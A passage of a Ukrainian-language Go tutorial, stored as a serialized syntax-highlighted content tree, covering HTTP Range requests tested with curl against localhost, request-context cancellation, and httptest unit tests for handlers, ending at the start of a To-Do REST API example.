Satisfiable\"",[5557,35248,5305],{"class":5585},[5557,35250,8928],{"class":5654},[5557,35252,5268],{"class":5585},[5557,35254,35255],{"class":5654},"StatusRequestedRangeNotSatisfiable",[5557,35257,5623],{"class":5585},[5557,35259,35260],{"class":5559,"line":5930},[5557,35261,6076],{"class":5581},[5557,35263,35264],{"class":5559,"line":5952},[5557,35265,5735],{"class":5585},[5557,35267,35268],{"class":5559,"line":5966},[5557,35269,5575],{"emptyLinePlaceholder":5574},[5557,35271,35272],{"class":5559,"line":5971},[5557,35273,35274],{"class":5647},"    \u002F\u002F Переходимо до початкової позиції\n",[5557,35276,35277,35279,35281,35284,35286,35288,35290,35292,35294,35297],{"class":5559,"line":5977},[5557,35278,32395],{"class":5654},[5557,35280,5268],{"class":5585},[5557,35282,35283],{"class":5637},"Seek",[5557,35285,5673],{"class":5585},[5557,35287,35075],{"class":5654},[5557,35289,5305],{"class":5585},[5557,35291,5311],{"class":5654},[5557,35293,5268],{"class":5585},[5557,35295,35296],{"class":5654},"SeekStart",[5557,35298,5623],{"class":5585},[5557,35300,35301],{"class":5559,"line":5998},[5557,35302,5575],{"emptyLinePlaceholder":5574},[5557,35304,35305],{"class":5559,"line":6003},[5557,35306,35307],{"class":5647},"    \u002F\u002F Обчислюємо довжину діапазону\n",[5557,35309,35310,35313,35315,35317,35319,35321,35323],{"class":5559,"line":6009},[5557,35311,35312],{"class":5654},"    rangeLength",[5557,35314,5663],{"class":5585},[5557,35316,35032],{"class":5654},[5557,35318,35137],{"class":5585},[5557,35320,35075],{"class":5654},[5557,35322,8796],{"class":5585},[5557,35324,35140],{"class":6134},[5557,35326,35327],{"class":5559,"line":6036},[5557,35328,5575],{"emptyLinePlaceholder":5574},[5557,35330,35331],{"class":5559,"line":6049},[5557,35332,35333],{"class":5647},"    \u002F\u002F Встановлюємо заголовки для 206 Partial Content\n",[5557,35335,35336,35338,35340,35342,35344,35346,35348,35350,35352,35354,35356,35358,35360,35363,35365,35367,35369,35371,35373,35375,35377,35379,35381,35383,35385,35387],{"class":5559,"line":6073},[5557,35337,9121],{"class":5654},[5557,35339,5268],{"class":5585},[5557,35341,10972],{"class":5637},[5557,35343,11043],{"class":5585},[5557,35345,11046],{"class":5637},[5557,35347,5673],{"class":5585},[5557,35349,35206],{"class":5592},[5557,35351,5305],{"class":5585},[5557,35353,6781],{"class":5654},[5557,35355,5268],{"class":5585},[5557,35357,6786],{"class":5637},[5557,35359,5673],{"class":5585},[5557,35361,35362],{"class":5592},"\"bytes ",[5557,35364,6794],{"class":5654},[5557,35366,35066],{"class":5592},[5557,35368,6794],{"class":5654},[5557,35370,13225],{"class":5592},[5557,35372,6794],{"class":5654},[5557,35374,5723],{"class":5592},[5557,35376,5305],{"class":5585},[5557,35378,35075],{"class":5654},[5557,35380,5305],{"class":5585},[5557,35382,35032],{"class":5654},[5557,35384,5305],{"class":5585},[5557,35386,34959],{"class":5654},[5557,35388,6878],{"class":5585},[5557,35390,35391,35393,35395,35397,35399,35401,35403,35405,35407,35409,35411,35413,35415,35417,35419,35421,35423,35426],{"class":5559,"line":6079},[5557,35392,9121],{"class":5654},[5557,35394,5268],{"class":5585},[5557,35396,10972],{"class":5637},[5557,35398,11043],{"class":5585},[5557,35400,11046],{"class":5637},[5557,35402,5673],{"class":5585},[5557,35404,34121],{"class":5592},[5557,35406,5305],{"class":5585},[5557,35408,6781],{"class":5654},[5557,35410,5268],{"class":5585},[5557,35412,6786],{"class":5637},[5557,35414,5673],{"class":5585},[5557,35416,5723],{"class":5592},[5557,35418,6794],{"class":5654},[5557,35420,5723],{"class":5592},[5557,35422,5305],{"class":5585},[5557,35424,35425],{"class":5654},"rangeLength",[5557,35427,6878],{"class":5585},[5557,35429,35430,35432,35434,35436,35438,35440,35442,35444,35446,35448],{"class":5559,"line":6084},[5557,35431,9121],{"class":5654},[5557,35433,5268],{"class":5585},[5557,35435,10972],{"class":5637},[5557,35437,11043],{"class":5585},[5557,35439,11046],{"class":5637},[5557,35441,5673],{"class":5585},[5557,35443,11098],{"class":5592},[5557,35445,5305],{"class":5585},[5557,35447,34982],{"class":5592},[5557,35449,5623],{"class":5585},[5557,35451,35452,35454,35456,35458,35460,35462,35464,35467,35469,35472],{"class":5559,"line":6089},[5557,35453,9121],{"class":5654},[5557,35455,5268],{"class":5585},[5557,35457,10972],{"class":5637},[5557,35459,11043],{"class":5585},[5557,35461,11046],{"class":5637},[5557,35463,5673],{"class":5585},[5557,35465,35466],{"class":5592},"\"Accept-Ranges\"",[5557,35468,5305],{"class":5585},[5557,35470,35471],{"class":5592},"\"bytes\"",[5557,35473,5623],{"class":5585},[5557,35475,35476,35478,35480,35482,35484,35486,35488,35491],{"class":5559,"line":6095},[5557,35477,9121],{"class":5654},[5557,35479,5268],{"class":5585},[5557,35481,9126],{"class":5637},[5557,35483,5673],{"class":5585},[5557,35485,8928],{"class":5654},[5557,35487,5268],{"class":5585},[5557,35489,35490],{"class":5654},"StatusPartialContent",[5557,35492,5623],{"class":5585},[5557,35494,35495],{"class":5559,"line":6118},[5557,35496,5575],{"emptyLinePlaceholder":5574},[5557,35498,35499],{"class":5559,"line":6140},[5557,35500,35501],{"class":5647},"    \u002F\u002F Передаємо лише запитаний діапазон\n",[5557,35503,35504,35506,35508,35511,35513,35515,35517,35519,35521,35523],{"class":5559,"line":6167},[5557,35505,12004],{"class":5654},[5557,35507,5268],{"class":5585},[5557,35509,35510],{"class":5637},"CopyN",[5557,35512,5673],{"class":5585},[5557,35514,8909],{"class":5654},[5557,35516,5305],{"class":5585},[5557,35518,32659],{"class":5654},[5557,35520,5305],{"class":5585},[5557,35522,35425],{"class":5654},[5557,35524,5623],{"class":5585},[5557,35526,35527],{"class":5559,"line":6172},[5557,35528,5922],{"class":5585},[7759,35530,35532],{"id":35531},"тестування-range-requests-через-curl","Тестування Range Requests через cURL",[5464,35534,35536],{"className":7017,"code":35535,"language":7019,"meta":5472,"style":5472},"# Завантажити перші 1024 байти\ncurl -H \"Range: bytes=0-1023\" http:\u002F\u002Flocalhost:8080\u002Ffile -o part1.bin\n\n# Завантажити наступні 1024 байти (докачування)\ncurl -H \"Range: bytes=1024-2047\" http:\u002F\u002Flocalhost:8080\u002Ffile -o part2.bin\n\n# Об'єднати частини\ncat part1.bin part2.bin > full-file.bin\n",[5236,35537,35538,35543,35562,35566,35571,35587,35591,35596],{"__ignoreMap":5472},[5557,35539,35540],{"class":5559,"line":5560},[5557,35541,35542],{"class":5647},"# Завантажити перші 1024 байти\n",[5557,35544,35545,35547,35550,35553,35556,35559],{"class":5559,"line":5571},[5557,35546,7048],{"class":5637},[5557,35548,35549],{"class":5563}," -H",[5557,35551,35552],{"class":5592}," \"Range: bytes=0-1023\"",[5557,35554,35555],{"class":5592}," http:\u002F\u002Flocalhost:8080\u002Ffile",[5557,35557,35558],{"class":5563}," -o",[5557,35560,35561],{"class":5592}," part1.bin\n",[5557,35563,35564],{"class":5559,"line":5578},[5557,35565,5575],{"emptyLinePlaceholder":5574},[5557,35567,35568],{"class":5559,"line":5589},[5557,35569,35570],{"class":5647},"# Завантажити наступні 1024 байти (докачування)\n",[5557,35572,35573,35575,35577,35580,35582,35584],{"class":5559,"line":5596},[5557,35574,7048],{"class":5637},[5557,35576,35549],{"class":5563},[5557,35578,35579],{"class":5592}," \"Range: bytes=1024-2047\"",[5557,35581,35555],{"class":5592},[5557,35583,35558],{"class":5563},[5557,35585,35586],{"class":5592}," part2.bin\n",[5557,35588,35589],{"class":5559,"line":5602},[5557,35590,5575],{"emptyLinePlaceholder":5574},[5557,35592,35593],{"class":5559,"line":5608},[5557,35594,35595],{"class":5647},"# Об'єднати частини\n",[5557,35597,35598,35601,35604,35607,35609],{"class":5559,"line":5614},[5557,35599,35600],{"class":5637},"cat",[5557,35602,35603],{"class":5592}," part1.bin",[5557,35605,35606],{"class":5592}," part2.bin",[5557,35608,28486],{"class":5585},[5557,35610,35611],{"class":5592},"full-file.bin\n",[8040,35613,35614,35617,35618,35621],{},[5205,35615,35616],{},"Практичне застосування:"," Range Requests використовуються медіаплеєрами (YouTube, Netflix), менеджерами завантажень (wget, aria2), PDF-переглядачами та всюди, де потрібне ефективне завантаження великих файлів. Якщо ваш API роздає великі файли, ",[5205,35619,35620],{},"завжди підтримуйте Range Requests"," — це різко покращує UX для користувачів із повільним або нестабільним інтернетом.",[5340,35623],{},[5343,35625,35627],{"id":35626},"інтеграція-з-контекстом-таймаути-та-скасування-операцій","Інтеграція з контекстом: таймаути та скасування операцій",[5348,35629,35630,35631,5226,35634,35636,35637,35639],{},"Кожен HTTP-запит у Go має вбудований ",[5205,35632,35633],{},"контекст",[5228,35635,5317],{},"), доступний через метод ",[5236,35638,12247],{},". Контекст автоматично скасовується, якщо:",[5198,35641,35642,35645,35652],{},[5201,35643,35644],{},"Клієнт закриває з'єднання (наприклад, користувач закрив браузер).",[5201,35646,35647,35648,5376,35650,5268],{},"Сервер досягає таймауту ",[5236,35649,28483],{},[5236,35651,28545],{},[5201,35653,35654,35655,35658],{},"Ви явно викликаєте ",[5236,35656,35657],{},"cancel()"," у випадку помилки.",[7167,35660,35662],{"id":35661},"приклад-виконання-тривалої-операції-з-підтримкою-скасування","Приклад: виконання тривалої операції з підтримкою скасування",[5464,35664,35666],{"className":5550,"code":35665,"language":5553,"meta":5472,"style":5472},"func longOperationHandler(w http.ResponseWriter, r *http.Request) {\n    ctx := r.Context()\n\n    \u002F\u002F Канал для результату операції\n    result := make(chan string, 1)\n\n    \u002F\u002F Запускаємо тривалу операцію в окремій горутині\n    go func() {\n        \u002F\u002F Симулюємо тривалу обробку (наприклад, запит до зовнішнього API)\n        time.Sleep(5 * time.Second)\n        result \u003C- \"Операція завершена успішно\"\n    }()\n\n    \u002F\u002F Чекаємо або завершення операції, або скасування контексту\n    select {\n    case res := \u003C-result:\n        fmt.Fprintf(w, \"%s\\n\", res)\n\n    case \u003C-ctx.Done():\n        \u002F\u002F Клієнт закрив з'єднання або вийшов таймаут\n        log.Println(\"⚠️ Запит скасовано клієнтом або таймаутом\")\n        return\n    }\n}\n",[5236,35667,35668,35699,35713,35717,35722,35743,35747,35752,35760,35765,35787,35798,35802,35806,35811,35818,35832,35861,35865,35882,35887,35902,35906,35910],{"__ignoreMap":5472},[5557,35669,35670,35672,35675,35677,35679,35681,35683,35685,35687,35689,35691,35693,35695,35697],{"class":5559,"line":5560},[5557,35671,5634],{"class":5563},[5557,35673,35674],{"class":5637}," longOperationHandler",[5557,35676,5673],{"class":5585},[5557,35678,8909],{"class":5654},[5557,35680,8912],{"class":5567},[5557,35682,5268],{"class":5585},[5557,35684,8917],{"class":5567},[5557,35686,5305],{"class":5585},[5557,35688,8922],{"class":5654},[5557,35690,8925],{"class":5585},[5557,35692,8928],{"class":5567},[5557,35694,5268],{"class":5585},[5557,35696,8933],{"class":5567},[5557,35698,5949],{"class":5585},[5557,35700,35701,35703,35705,35707,35709,35711],{"class":5559,"line":5571},[5557,35702,16899],{"class":5654},[5557,35704,5663],{"class":5585},[5557,35706,8922],{"class":5654},[5557,35708,5268],{"class":5585},[5557,35710,18814],{"class":5637},[5557,35712,5752],{"class":5585},[5557,35714,35715],{"class":5559,"line":5578},[5557,35716,5575],{"emptyLinePlaceholder":5574},[5557,35718,35719],{"class":5559,"line":5589},[5557,35720,35721],{"class":5647},"    \u002F\u002F Канал для результату операції\n",[5557,35723,35724,35727,35729,35731,35733,35735,35737,35739,35741],{"class":5559,"line":5596},[5557,35725,35726],{"class":5654},"    result",[5557,35728,5663],{"class":5585},[5557,35730,14631],{"class":5637},[5557,35732,5673],{"class":5585},[5557,35734,22652],{"class":5563},[5557,35736,6662],{"class":5567},[5557,35738,5305],{"class":5585},[5557,35740,6213],{"class":6134},[5557,35742,5623],{"class":5585},[5557,35744,35745],{"class":5559,"line":5602},[5557,35746,5575],{"emptyLinePlaceholder":5574},[5557,35748,35749],{"class":5559,"line":5608},[5557,35750,35751],{"class":5647},"    \u002F\u002F Запускаємо тривалу операцію в окремій горутині\n",[5557,35753,35754,35756,35758],{"class":5559,"line":5614},[5557,35755,22548],{"class":5581},[5557,35757,21829],{"class":5563},[5557,35759,5641],{"class":5585},[5557,35761,35762],{"class":5559,"line":5620},[5557,35763,35764],{"class":5647},"        \u002F\u002F Симулюємо тривалу обробку (наприклад, запит до зовнішнього API)\n",[5557,35766,35767,35769,35771,35773,35775,35777,35779,35781,35783,35785],{"class":5559,"line":5626},[5557,35768,20417],{"class":5654},[5557,35770,5268],{"class":5585},[5557,35772,20422],{"class":5637},[5557,35774,5673],{"class":5585},[5557,35776,22249],{"class":6134},[5557,35778,20429],{"class":5585},[5557,35780,20432],{"class":5654},[5557,35782,5268],{"class":5585},[5557,35784,20437],{"class":5654},[5557,35786,5623],{"class":5585},[5557,35788,35789,35792,35795],{"class":5559,"line":5631},[5557,35790,35791],{"class":5654},"        result",[5557,35793,35794],{"class":5585}," \u003C- ",[5557,35796,35797],{"class":5592},"\"Операція завершена успішно\"\n",[5557,35799,35800],{"class":5559,"line":5644},[5557,35801,22629],{"class":5585},[5557,35803,35804],{"class":5559,"line":5651},[5557,35805,5575],{"emptyLinePlaceholder":5574},[5557,35807,35808],{"class":5559,"line":5686},[5557,35809,35810],{"class":5647},"    \u002F\u002F Чекаємо або завершення операції, або скасування контексту\n",[5557,35812,35813,35816],{"class":5559,"line":5704},[5557,35814,35815],{"class":5581},"    select",[5557,35817,5701],{"class":5585},[5557,35819,35820,35822,35825,35828,35830],{"class":5559,"line":5732},[5557,35821,6420],{"class":5581},[5557,35823,35824],{"class":5654}," res",[5557,35826,35827],{"class":5585}," := \u003C-",[5557,35829,26298],{"class":5654},[5557,35831,6426],{"class":5585},[5557,35833,35834,35836,35838,35840,35842,35844,35846,35848,35850,35852,35854,35856,35859],{"class":5559,"line":5738},[5557,35835,11530],{"class":5654},[5557,35837,5268],{"class":5585},[5557,35839,9146],{"class":5637},[5557,35841,5673],{"class":5585},[5557,35843,8909],{"class":5654},[5557,35845,5305],{"class":5585},[5557,35847,5723],{"class":5592},[5557,35849,6238],{"class":5654},[5557,35851,6372],{"class":6358},[5557,35853,5723],{"class":5592},[5557,35855,5305],{"class":5585},[5557,35857,35858],{"class":5654},"res",[5557,35860,5623],{"class":5585},[5557,35862,35863],{"class":5559,"line":5755},[5557,35864,5575],{"emptyLinePlaceholder":5574},[5557,35866,35867,35869,35872,35874,35876,35879],{"class":5559,"line":5760},[5557,35868,6420],{"class":5581},[5557,35870,35871],{"class":5585}," \u003C-",[5557,35873,18853],{"class":5654},[5557,35875,5268],{"class":5585},[5557,35877,35878],{"class":5637},"Done",[5557,35880,35881],{"class":5585},"():\n",[5557,35883,35884],{"class":5559,"line":5778},[5557,35885,35886],{"class":5647},"        \u002F\u002F Клієнт закрив з'єднання або вийшов таймаут\n",[5557,35888,35889,35891,35893,35895,35897,35900],{"class":5559,"line":5794},[5557,35890,5707],{"class":5654},[5557,35892,5268],{"class":5585},[5557,35894,5768],{"class":5637},[5557,35896,5673],{"class":5585},[5557,35898,35899],{"class":5592},"\"⚠️ Запит скасовано клієнтом або таймаутом\"",[5557,35901,5623],{"class":5585},[5557,35903,35904],{"class":5559,"line":5799},[5557,35905,6076],{"class":5581},[5557,35907,35908],{"class":5559,"line":5807},[5557,35909,5735],{"class":5585},[5557,35911,35912],{"class":5559,"line":5813},[5557,35913,5922],{"class":5585},[5348,35915,35916,35917,35920],{},"Якщо користувач закриє браузер до того, як операція завершиться (протягом 5 секунд), сервер отримає сигнал через ",[5236,35918,35919],{},"ctx.Done()"," і може припинити обробку, звільнивши ресурси.",[8040,35922,35923,35926,35927,35930,35931,35934],{},[5205,35924,35925],{},"Передавайте контекст у всі виклики:"," Завжди передавайте ",[5236,35928,35929],{},"ctx := r.Context()"," у всі виклики баз даних, зовнішніх API, черг повідомлень. Це дозволяє каскадно скасовувати операції, якщо клієнт більше не чекає на відповідь. Наприклад, ",[5236,35932,35933],{},"db.QueryContext(ctx, query)"," автоматично припинить SQL-запит, якщо контекст буде скасовано.",[5340,35936],{},[5343,35938,35940],{"id":35939},"модульне-тестування-http-обробників","Модульне тестування HTTP-обробників",[5348,35942,26469,35943,35945,35946,5268],{},[5236,35944,5337],{}," дозволяє тестувати HTTP-обробники без запуску реального сервера. Ви створюєте фіктивний запит і фіксуєте відповідь у структурі ",[5236,35947,35948],{},"httptest.ResponseRecorder",[7167,35950,35952],{"id":35951},"приклад-тесту-обробника","Приклад тесту обробника",[5464,35954,35956],{"className":5550,"code":35955,"language":5553,"meta":5472,"style":5472},"package main\n\nimport (\n    \"net\u002Fhttp\"\n    \"net\u002Fhttp\u002Fhttptest\"\n    \"strings\"\n    \"testing\"\n)\n\nfunc healthHandler(w http.ResponseWriter, r *http.Request) {\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    w.WriteHeader(http.StatusOK)\n    w.Write([]byte(`{\"status\": \"healthy\"}`))\n}\n\nfunc TestHealthHandler(t *testing.T) {\n    \u002F\u002F Створюємо фіктивний HTTP-запит\n    req := httptest.NewRequest(http.MethodGet, \"\u002Fhealth\", nil)\n\n    \u002F\u002F Створюємо ResponseRecorder для запису відповіді\n    rr := httptest.NewRecorder()\n\n    \u002F\u002F Викликаємо обробник\n    healthHandler(rr, req)\n\n    \u002F\u002F Перевіряємо статус-код\n    if rr.Code != http.StatusOK {\n        t.Errorf(\"Очікувався статус-код 200, отримано %d\", rr.Code)\n    }\n\n    \u002F\u002F Перевіряємо тіло відповіді\n    expected := `{\"status\": \"healthy\"}`\n    if strings.TrimSpace(rr.Body.String()) != expected {\n        t.Errorf(\"Очікувалося тіло %s, отримано %s\", expected, rr.Body.String())\n    }\n\n    \u002F\u002F Перевіряємо заголовок Content-Type\n    contentType := rr.Header().Get(\"Content-Type\")\n    if contentType != \"application\u002Fjson\" {\n        t.Errorf(\"Очікувався Content-Type application\u002Fjson, отримано %s\", contentType)\n    }\n}\n",[5236,35957,35958,35964,35968,35974,35978,35983,35987,35992,35996,36000,36030,36052,36070,36089,36093,36097,36121,36126,36157,36161,36166,36182,36186,36191,36207,36211,36216,36238,36267,36271,36275,36280,36290,36322,36362,36366,36370,36374,36396,36408,36431,36435],{"__ignoreMap":5472},[5557,35959,35960,35962],{"class":5559,"line":5560},[5557,35961,5564],{"class":5563},[5557,35963,5568],{"class":5567},[5557,35965,35966],{"class":5559,"line":5571},[5557,35967,5575],{"emptyLinePlaceholder":5574},[5557,35969,35970,35972],{"class":5559,"line":5578},[5557,35971,5582],{"class":5581},[5557,35973,5586],{"class":5585},[5557,35975,35976],{"class":5559,"line":5589},[5557,35977,12286],{"class":5592},[5557,35979,35980],{"class":5559,"line":5596},[5557,35981,35982],{"class":5592},"    \"net\u002Fhttp\u002Fhttptest\"\n",[5557,35984,35985],{"class":5559,"line":5602},[5557,35986,5617],{"class":5592},[5557,35988,35989],{"class":5559,"line":5608},[5557,35990,35991],{"class":5592},"    \"testing\"\n",[5557,35993,35994],{"class":5559,"line":5614},[5557,35995,5623],{"class":5585},[5557,35997,35998],{"class":5559,"line":5620},[5557,35999,5575],{"emptyLinePlaceholder":5574},[5557,36001,36002,36004,36006,36008,36010,36012,36014,36016,36018,36020,36022,36024,36026,36028],{"class":5559,"line":5626},[5557,36003,5634],{"class":5563},[5557,36005,12823],{"class":5637},[5557,36007,5673],{"class":5585},[5557,36009,8909],{"class":5654},[5557,36011,8912],{"class":5567},[5557,36013,5268],{"class":5585},[5557,36015,8917],{"class":5567},[5557,36017,5305],{"class":5585},[5557,36019,8922],{"class":5654},[5557,36021,8925],{"class":5585},[5557,36023,8928],{"class":5567},[5557,36025,5268],{"class":5585},[5557,36027,8933],{"class":5567},[5557,36029,5949],{"class":5585},[5557,36031,36032,36034,36036,36038,36040,36042,36044,36046,36048,36050],{"class":5559,"line":5631},[5557,36033,9121],{"class":5654},[5557,36035,5268],{"class":5585},[5557,36037,10972],{"class":5637},[5557,36039,11043],{"class":5585},[5557,36041,11046],{"class":5637},[5557,36043,5673],{"class":5585},[5557,36045,11098],{"class":5592},[5557,36047,5305],{"class":5585},[5557,36049,6555],{"class":5592},[5557,36051,5623],{"class":5585},[5557,36053,36054,36056,36058,36060,36062,36064,36066,36068],{"class":5559,"line":5644},[5557,36055,9121],{"class":5654},[5557,36057,5268],{"class":5585},[5557,36059,9126],{"class":5637},[5557,36061,5673],{"class":5585},[5557,36063,8928],{"class":5654},[5557,36065,5268],{"class":5585},[5557,36067,9135],{"class":5654},[5557,36069,5623],{"class":5585},[5557,36071,36072,36074,36076,36078,36080,36082,36084,36087],{"class":5559,"line":5651},[5557,36073,9121],{"class":5654},[5557,36075,5268],{"class":5585},[5557,36077,6951],{"class":5637},[5557,36079,6954],{"class":5585},[5557,36081,6957],{"class":5567},[5557,36083,5673],{"class":5585},[5557,36085,36086],{"class":5592},"`{\"status\": \"healthy\"}`",[5557,36088,6878],{"class":5585},[5557,36090,36091],{"class":5559,"line":5686},[5557,36092,5922],{"class":5585},[5557,36094,36095],{"class":5559,"line":5704},[5557,36096,5575],{"emptyLinePlaceholder":5574},[5557,36098,36099,36101,36104,36106,36109,36111,36114,36116,36119],{"class":5559,"line":5732},[5557,36100,5634],{"class":5563},[5557,36102,36103],{"class":5637}," TestHealthHandler",[5557,36105,5673],{"class":5585},[5557,36107,36108],{"class":5654},"t",[5557,36110,8925],{"class":5585},[5557,36112,36113],{"class":5567},"testing",[5557,36115,5268],{"class":5585},[5557,36117,36118],{"class":5567},"T",[5557,36120,5949],{"class":5585},[5557,36122,36123],{"class":5559,"line":5738},[5557,36124,36125],{"class":5647},"    \u002F\u002F Створюємо фіктивний HTTP-запит\n",[5557,36127,36128,36130,36132,36135,36137,36139,36141,36143,36145,36147,36149,36151,36153,36155],{"class":5559,"line":5755},[5557,36129,24697],{"class":5654},[5557,36131,5663],{"class":5585},[5557,36133,36134],{"class":5654},"httptest",[5557,36136,5268],{"class":5585},[5557,36138,24710],{"class":5637},[5557,36140,5673],{"class":5585},[5557,36142,8928],{"class":5654},[5557,36144,5268],{"class":5585},[5557,36146,12990],{"class":5654},[5557,36148,5305],{"class":5585},[5557,36150,12664],{"class":5592},[5557,36152,5305],{"class":5585},[5557,36154,5698],{"class":5563},[5557,36156,5623],{"class":5585},[5557,36158,36159],{"class":5559,"line":5760},[5557,36160,5575],{"emptyLinePlaceholder":5574},[5557,36162,36163],{"class":5559,"line":5778},[5557,36164,36165],{"class":5647},"    \u002F\u002F Створюємо ResponseRecorder для запису відповіді\n",[5557,36167,36168,36171,36173,36175,36177,36180],{"class":5559,"line":5794},[5557,36169,36170],{"class":5654},"    rr",[5557,36172,5663],{"class":5585},[5557,36174,36134],{"class":5654},[5557,36176,5268],{"class":5585},[5557,36178,36179],{"class":5637},"NewRecorder",[5557,36181,5752],{"class":5585},[5557,36183,36184],{"class":5559,"line":5799},[5557,36185,5575],{"emptyLinePlaceholder":5574},[5557,36187,36188],{"class":5559,"line":5807},[5557,36189,36190],{"class":5647},"    \u002F\u002F Викликаємо обробник\n",[5557,36192,36193,36196,36198,36201,36203,36205],{"class":5559,"line":5813},[5557,36194,36195],{"class":5637},"    healthHandler",[5557,36197,5673],{"class":5585},[5557,36199,36200],{"class":5654},"rr",[5557,36202,5305],{"class":5585},[5557,36204,23646],{"class":5654},[5557,36206,5623],{"class":5585},[5557,36208,36209],{"class":5559,"line":5835},[5557,36210,5575],{"emptyLinePlaceholder":5574},[5557,36212,36213],{"class":5559,"line":5849},[5557,36214,36215],{"class":5647},"    \u002F\u002F Перевіряємо статус-код\n",[5557,36217,36218,36220,36223,36225,36228,36230,36232,36234,36236],{"class":5559,"line":5875},[5557,36219,5689],{"class":5581},[5557,36221,36222],{"class":5654}," rr",[5557,36224,5268],{"class":5585},[5557,36226,36227],{"class":5654},"Code",[5557,36229,5695],{"class":5585},[5557,36231,8928],{"class":5654},[5557,36233,5268],{"class":5585},[5557,36235,9135],{"class":5654},[5557,36237,5701],{"class":5585},[5557,36239,36240,36243,36245,36248,36250,36253,36255,36257,36259,36261,36263,36265],{"class":5559,"line":5881},[5557,36241,36242],{"class":5654},"        t",[5557,36244,5268],{"class":5585},[5557,36246,36247],{"class":5637},"Errorf",[5557,36249,5673],{"class":5585},[5557,36251,36252],{"class":5592},"\"Очікувався статус-код 200, отримано ",[5557,36254,6794],{"class":5654},[5557,36256,5723],{"class":5592},[5557,36258,5305],{"class":5585},[5557,36260,36200],{"class":5654},[5557,36262,5268],{"class":5585},[5557,36264,36227],{"class":5654},[5557,36266,5623],{"class":5585},[5557,36268,36269],{"class":5559,"line":5887},[5557,36270,5735],{"class":5585},[5557,36272,36273],{"class":5559,"line":5892},[5557,36274,5575],{"emptyLinePlaceholder":5574},[5557,36276,36277],{"class":5559,"line":5898},[5557,36278,36279],{"class":5647},"    \u002F\u002F Перевіряємо тіло відповіді\n",[5557,36281,36282,36285,36287],{"class":5559,"line":5914},[5557,36283,36284],{"class":5654},"    expected",[5557,36286,5663],{"class":5585},[5557,36288,36289],{"class":5592},"`{\"status\": \"healthy\"}`\n",[5557,36291,36292,36294,36296,36298,36301,36303,36305,36307,36309,36311,36314,36317,36320],{"class":5559,"line":5919},[5557,36293,5689],{"class":5581},[5557,36295,11414],{"class":5654},[5557,36297,5268],{"class":5585},[5557,36299,36300],{"class":5637},"TrimSpace",[5557,36302,5673],{"class":5585},[5557,36304,36200],{"class":5654},[5557,36306,5268],{"class":5585},[5557,36308,15196],{"class":5654},[5557,36310,5268],{"class":5585},[5557,36312,36313],{"class":5637},"String",[5557,36315,36316],{"class":5585},"()) != ",[5557,36318,36319],{"class":5654},"expected",[5557,36321,5701],{"class":5585},[5557,36323,36324,36326,36328,36330,36332,36335,36337,36340,36342,36344,36346,36348,36350,36352,36354,36356,36358,36360],{"class":5559,"line":5925},[5557,36325,36242],{"class":5654},[5557,36327,5268],{"class":5585},[5557,36329,36247],{"class":5637},[5557,36331,5673],{"class":5585},[5557,36333,36334],{"class":5592},"\"Очікувалося тіло ",[5557,36336,6238],{"class":5654},[5557,36338,36339],{"class":5592},", отримано ",[5557,36341,6238],{"class":5654},[5557,36343,5723],{"class":5592},[5557,36345,5305],{"class":5585},[5557,36347,36319],{"class":5654},[5557,36349,5305],{"class":5585},[5557,36351,36200],{"class":5654},[5557,36353,5268],{"class":5585},[5557,36355,15196],{"class":5654},[5557,36357,5268],{"class":5585},[5557,36359,36313],{"class":5637},[5557,36361,6270],{"class":5585},[5557,36363,36364],{"class":5559,"line":5930},[5557,36365,5735],{"class":5585},[5557,36367,36368],{"class":5559,"line":5952},[5557,36369,5575],{"emptyLinePlaceholder":5574},[5557,36371,36372],{"class":5559,"line":5966},[5557,36373,31341],{"class":5647},[5557,36375,36376,36378,36380,36382,36384,36386,36388,36390,36392,36394],{"class":5559,"line":5971},[5557,36377,26186],{"class":5654},[5557,36379,5663],{"class":5585},[5557,36381,36200],{"class":5654},[5557,36383,5268],{"class":5585},[5557,36385,10972],{"class":5637},[5557,36387,11043],{"class":5585},[5557,36389,10977],{"class":5637},[5557,36391,5673],{"class":5585},[5557,36393,11098],{"class":5592},[5557,36395,5623],{"class":5585},[5557,36397,36398,36400,36402,36404,36406],{"class":5559,"line":5977},[5557,36399,5689],{"class":5581},[5557,36401,31370],{"class":5654},[5557,36403,5695],{"class":5585},[5557,36405,6555],{"class":5592},[5557,36407,5701],{"class":5585},[5557,36409,36410,36412,36414,36416,36418,36421,36423,36425,36427,36429],{"class":5559,"line":5998},[5557,36411,36242],{"class":5654},[5557,36413,5268],{"class":5585},[5557,36415,36247],{"class":5637},[5557,36417,5673],{"class":5585},[5557,36419,36420],{"class":5592},"\"Очікувався Content-Type application\u002Fjson, отримано ",[5557,36422,6238],{"class":5654},[5557,36424,5723],{"class":5592},[5557,36426,5305],{"class":5585},[5557,36428,6655],{"class":5654},[5557,36430,5623],{"class":5585},[5557,36432,36433],{"class":5559,"line":6003},[5557,36434,5735],{"class":5585},[5557,36436,36437],{"class":5559,"line":6009},[5557,36438,5922],{"class":5585},[5348,36440,36441],{},"Запустіть тест:",[5464,36443,36445],{"className":7017,"code":36444,"language":7019,"meta":5472,"style":5472},"go test -v\n",[5236,36446,36447],{"__ignoreMap":5472},[5557,36448,36449,36451,36454],{"class":5559,"line":5560},[5557,36450,5553],{"class":5637},[5557,36452,36453],{"class":5592}," test",[5557,36455,36456],{"class":5563}," -v\n",[5348,36458,36459],{},"Результат:",[5464,36461,36464],{"className":36462,"code":36463,"language":5469},[5467],"=== RUN   TestHealthHandler\n--- PASS: TestHealthHandler (0.00s)\nPASS\nok      your-module-name    0.002s\n",[5236,36465,36463],{"__ignoreMap":5472},[5430,36467,36468,36471,36472,36475],{},[5205,36469,36470],{},"Переваги модульного тестування HTTP-шару:"," Тести виконуються ",[5205,36473,36474],{},"миттєво"," (без мережевих викликів), їх можна запускати тисячі разів у секунду в CI\u002FCD-пайплайнах, вони не вимагають запуску реального сервера або бази даних. Це дозволяє швидко перевіряти логіку обробників, валідацію даних, коректність статус-кодів та заголовків.",[5340,36477],{},[5343,36479,36481],{"id":36480},"повний-приклад-rest-api-для-управління-задачами","Повний приклад: REST API для управління задачами",[5348,36483,36484,36485,7121],{},"Тепер об'єднаємо всі отримані знання у один повний робочий приклад — простий REST API для управління списком задач (",[5228,36486,36487],{},"To-Do List",[36489,36490,36491],"code-tree",{},[5464,36492,36495],{"className":5550,"code":36493,"filename":36494,"language":5553,"meta":5472,"style":5472},"package main\n\nimport (\n    \"context\"\n    \"encoding\u002Fjson\"\n    \"fmt\"\n    \"log\"\n    \"net\u002Fhttp\"\n    \"os\"\n    \"os\u002Fsignal\"\n    \"strconv\"\n    